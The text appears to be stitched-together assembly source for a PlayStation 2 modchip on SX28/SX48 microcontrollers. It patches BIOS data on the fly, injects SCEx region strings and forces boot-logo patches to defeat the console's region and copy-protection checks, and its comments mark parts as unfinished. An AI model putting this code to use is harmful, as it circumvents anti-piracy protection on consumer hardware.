IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ; clr fsr ;; test remove. todo. runs better seems removed for ps1 mode. setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0A00 ;; page A ps2logo page4 sx28 ;; weird broken oe wait not even called. wait needed for flow ?? ;; test remove. todo ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_PA ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_PA ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14? mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w mov w,#$20;15 mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz ;; changed from h2o PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; originally Label_0183 two different call in sx48 vs sx28 ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; mov w,#$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w PS1_DETECTED_REBOOT_L1 mov w,#$ff mov VAR_DC3,w PS1_DETECTED_REBOOT_L2 mov w,#$ff mov VAR_DC1,w AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 ;; h2o differs. ported snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START mov w,#$26;1b ;;; this the problem ?? mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS mov w,#$37;3c mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; PS1_DETECTED_REBOOT_JMP11to17_ALL ;;todo look here start 75k ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END snb PSX_FLAG ;; added jmp PS1_CONSOLE_ALL_JMPNTSC ;; added setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS mov w,#$27;1c mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 org $0E00 end
1nick9/PS2-Magic-ICE-FINAL-REVERSE	103,723	sx48WIP/final-48.hex-tidyup-use-h2odev1-works-usebase.s	;****************************************************************************** ; final-48.sxh hash 3267F8B788048663ABC6E1116F0F6048 ;**************************************************************************** device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ;; double ; for needs attension for mistakes or areas to change to function alike h2o or just general check here marker ;DEFINE ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr DBE25B9DD8BF68CD48CBE23B16534DEA ;;ignore these defines below for now, not implemented yet ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal d8d6a5acf3e30901b45b75b001ff457c ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa 809aa1533abed9cbdf2ed612a6fc5627 ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap 7a35a0a6001a04ed71509a1c18b6544f ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;only rstbump v8jap tested but rest should be right ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. X_FLAG = VAR_SWITCH.2 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media ;;JAP_V8 = VAR_SWITCH.3 ;; DEV1_FLAG = VAR_SWITCH.4 ;;V14_FLAG = VAR_SWITCH.5 ;; ;set due to W for region of BIOS which decka models ;;V0_FLAG = VAR_SWITCH.6 ;; ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip **************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS clr VAR_SWITCH jmp BIOS_GET_SYNC ;-------------------------------------------------------------------------------- DELAY100m ;-------------------------------------------------------------------------------- mov w,#$64 mov VAR_DC1,w RTCC_SET_BIT mov w,#$3d mov rtcc,w RTCC_CHECK mov w,rtcc sb z jmp RTCC_CHECK decsz VAR_DC1 jmp RTCC_SET_BIT retp ;-------------------------------------------------------------------------------- SET_INTRPT ;-------------------------------------------------------------------------------- mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w not ra :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w snb IO_BIOS_CS jmp :loop2 setb SCEX_FLAG :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; UK 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; JAP 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb USA_FLAG jmp usa snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION ; nop ;; extra sx28 mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ; nop ;; extra sx28 mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK ; mov w,#$49 ;is byte7 ASCII I europe bios ;; remove as unneeded, make use of jap fall over ; mov w,VAR_BIOS_REGION_TEMP-w ; snb z ; jmp BIOS_JAP jmp BIOS_JAP BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$32 mov VAR_DC1,w ;V1-8 kernels: sync 1E006334 then 2410 START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff mov !IO_BIOS_DATA,w ;********************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************ ;TEST_RESET MODE_SELECT_START mov w,#$a mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST jmp MODE_SELECT_TIMER_L2 mov w,#$5 mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#$64 mov VAR_DC2,w ;test_l3 DISABLE_MODE call DELAY100m sb IO_REST page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE sleep ;RESET0 TAP_BOOT_MODE clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES clr fsr snb DEV1_FLAG page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST clrb EJ_FLAG setb X_FLAG clrb V12LOGO_FLAG page $0200 jmp PS2_MODE_START ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0a00 jmp START_PS2LOGO_PATCH_LOAD ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT 